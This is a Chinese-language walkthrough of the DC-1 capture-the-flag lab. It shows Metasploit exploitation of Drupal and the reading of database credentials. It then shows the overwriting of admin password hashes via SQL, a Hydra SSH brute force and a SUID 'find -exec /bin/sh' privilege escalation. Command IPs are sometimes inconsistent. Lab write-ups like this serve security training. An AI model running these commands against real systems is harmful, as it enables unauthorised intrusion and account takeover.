DC1 靶场实战搭建渗透

# 信息收集

确定 IP

1
2
3
4
5
6
7
8
9
kali: 192.168.65.148
DC1 : 192.168.65.149

arp-scan -l: 扫网段同一网段内的主机确定DC靶场的IP地址

通过前面看Kali网段的设置得出靶机IP地址

DC1 : 192.168.65.149

扫描端口服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sV -p- 192.168.65.149

-sV 参数表示进行版本探测,-p- 参数表示扫描所有端口


Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-30 21:44 CST
Nmap scan report for 192.168.65.149
Host is up (0.0011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian)) // 版本信息
111/tcp open rpcbind 2-4 (RPC #100000)
32990/tcp open status 1 (RPC #100024)

访问 80 端口开始渗透

1
whatweb -v 192.168.120.128  // 扫描指纹为cms找day打,也可以是Wappy插件

# MSF 渗透寻找 day

1
2
3
msfconsole  // 打开msf

search drupal // 寻找历史漏洞

1
2
3
4
uer 1  // 选择最新的漏洞 18年的也就是模块2

show options // 查看各模块参数

  • Current Setting 是目前设置的内容
  • Required 表示是否需要设置内容,yes 为必须设置,no 可以设置也可不设置
  • 就上面来说 RHOSTS 需要 set,但是没有内容

1
2
3
4
5
6
7
8
9
set lhosts 192.168.65.149   // 设置靶机受攻击的IP 其余默认就可以默认是80端口

run // 开始攻击

响应显示已经建立连接也就是攻击成功

shell // 拿到shell

ls // 列出所有文件

终端面板影响代码输入,使用 python 实现交互式 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
python -c 'import pty; pty.spawn("/bin/bash")'  // 交互式shell 前提机器装有python

tac flag1.txt // 查看flag1.txt 第一个靶标内容

flag1.txt:

Every good CMS needs a config file - and so do you // 给出提示
每一个好的CMS都需要一个配置文件你也一样

------------------------------

find / -name flag* // 在整个文件系统中查找文件名以 flage开头的目录或者文件

find 是一个强大的命令行工具,用于在文件系统中查找文件和目录。
/ 表示从根目录开始查找
-name 参数指定了要查找的文件名模式
"flag" 开头的文件名
* 是通配符,表示匹配任意字符。

flag1.txt 未发现有价值的信息,百度 Drupal cms 配置文件,知晓 settings.php

1
cat `find / -name settings.php`  // 打开配置文件

得出数据库相关信息,账户密码尝试登录数据库

1
2
mysql -udbuser -pR0ck3t   // -u 表示用户名 -p 密码

1
2
3
use drupaldb // 切换数据库

show tables; // 列出所有表寻找flag

发现列出的表中存在 users 和用户相关的表

1
2
3
4
5
6
select * from users

得到两个用户,并且密码不是明文,方法1是修改admin的密码 方法2添加一个新的用户

admin: pass $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred : pass $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

# 渗透 MySQL 数据库

修改 admin 用户密码

思路

  • 找到加密脚本文件
  • 加密我们自定义设置的密码
  • 得出加密数据回到数据中进行替换
  • 使用修改过后的密码登录进

Drupal 的加密脚本位置

1
/var/www/scripts/password-hash.sh  

回到数据库首先退出,回到 shell 状态下读取 .sh 加密脚本设置我们的密码,脚本是 PHP 语言编写,使用 PHP 加参数就可以运行,直接得到数字 123456 (密码) 加密后的数据

1
2
3
4
5
6
7
exit  // 退出数据库

php /var/www/scripts/password-hash.sh 123456

-------------------------------------------------

密码加密后的值: $S$DGlF6YaIytT1SPH8h/93JqpZm6vkFTqj2qGrgeOOEcY8A0wrLhxE

得出新的 admin 的密码后,又开始重复步骤,登录数据库,使用数据库语句修改指定表指定字段中的值,修改密码为我们 123456 加密后的值

1
2
3
4
5
6
mysql -udbuser -pR0ck3t

use drupaldb; // 切换数据库

// or 修改 admin 和 Fred 密码
update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

使用修改后的密码成功登录网站

1
2
user : admin
pass : 123456

# Linux 爆破

flag3 同样给出了提示信息 passwdshadow ,明显就是 linux 的文件

1
2
3
4
5
6
7
/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

回到终端,退出数据库,使用命令查看提示文件

1
2
3
exit

tac /etc/passwd // 查看用户信息

flag4 这个用户非常可疑,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开 shadow 文件查看密码

使用 Kali 自带的 Hydra 密码爆破工具进行爆破用户密码,这里需要在 Kali 下进行操作,为了不和已经建立的 shell 断开,直接重开一个终端即可,目录就还是在 (saber㉿kali)-[~/桌面]

1
2
3
4
5
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.65.149

-l flae4: 指定爆破用户名
-P :指定了爆破的密码字典列表
ssh: 目标IP地址

爆破成功用户 flag4 密码为 orange

使用 kali 进行连接到这个地址的用户 flag4 , 输入命令后因为你第一次连接到一个 SSH 服务器时,你的 SSH 客户端会显示主机的真实性,并要求你确认后才能继续连接,我们输入 YES 即可,而后输入上文爆破出的密码成功建立连接

1
2
3
4
ssh 用户名@目标攻击主机

ssh flag4@192.168.120.128 // IP就是目标地址

flag4 用户目录下访问 flag4.txt 文件,同样也是提示的意思

1
2
3
4
5
6
7
8
9
10
11
cat flag4.txt

----------------------------------

Can you use this same method to find or access the flag in root?

Probably. But perhaps it's not that easy. Or maybe it is?

你能用同样的方法找到还是访问根中的标志?可能吧。但也许没那么容易。或者可能是?


需要 SUID 提权,利用 find 命令,找查具有 SUID 权限的可执行二进制文件,不太了解释的可以看下这篇文章 简谈 SUID 提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
查找具有 Setuid 权限的文件
Setuid 权限是一种特殊的权限,允许普通用户以拥有该文件所有者的权限来执行该文件。

find / -perm -u=s -type f 2>/dev/null

--------------------------------------------------------

find:用于在文件系统中搜索文件和目录。
/:指定搜索的起始路径为根目录,也就是整个文件系统。
-perm -u=s:指定要搜索的文件权限。
-perm 选项用于匹配指定的权限,
-u 表示用户权限,s 表示 Setuid 权限。因此,-perm -u=s 表示搜索具有 Setuid 权限的文件

-type f:指定要搜索的文件类型为普通文件

2>/dev/null:将错误输出重定向到 /dev/null,这样可以隐藏搜索过程中产生的错误信息


1
2
3
4
5
6
7
8
9
10
11
12
13
在文件系统中查找名为 "index.php" 的文件,并在找到的每个文件上执行 "/bin/sh" 命令

find / -name index.php -exec "/bin/sh" \;

----------------------------------------------------------

find:用于在文件系统中搜索文件和目录。
/:指定搜索的起始路径为根目录,也就是整个文件系统。
-name index.php:指定要搜索的文件名为 "index.php"
-exec:用于在找到的每个文件上执行指定的命令。
"/bin/sh":要执行的命令是 "/bin/sh",它是一个常见的 Unix/Linux shell。
\;:表示命令的结束。

输入命令后莫名其妙提权成功,提权不太明白需要后续补充,但是需要知道执行上述的命令是可以成功的

列出文件读取 flag 完成关卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cd / root    // 切换目录

ls // 列出所有文件

cat thefinalflag.txt //读取flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

完成了!!!
希望你已经享受了这一点,并学到了一些新的技能

更新于 阅读次数